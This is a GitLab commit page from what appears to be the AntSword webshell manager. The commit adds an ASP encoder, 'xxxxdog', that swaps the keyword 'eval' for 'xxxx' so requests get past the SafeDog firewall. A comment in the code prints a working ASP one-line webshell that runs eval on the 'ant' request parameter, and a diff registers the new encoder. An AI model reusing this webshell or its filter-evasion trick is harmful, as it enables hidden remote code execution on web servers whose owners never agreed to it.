Commit ef24b43f authored by Medicean's avatar Medicean

新增 asp xxxxdog 编码器,用于替换 eval 关键字

parent 71569db5
//
// asp::xxxx 编码模块
//
// :把eval替换成 xxxx 用于过狗
//
// 服务端:<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
// 密码:ant
'use strict';
module.exports = (pwd, data) => {
data[pwd] = data['_'].replace(/eval/ig, 'xxxx');
delete data['_'];
return data;
}
\ No newline at end of file
...@@ -33,7 +33,7 @@ class ASP extends Base { ...@@ -33,7 +33,7 @@ class ASP extends Base {
* @return {array} 编码器列表 * @return {array} 编码器列表
*/ */
get encoders() { get encoders() {
return []; return ['xxxxdog'];
} }
/** /**
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment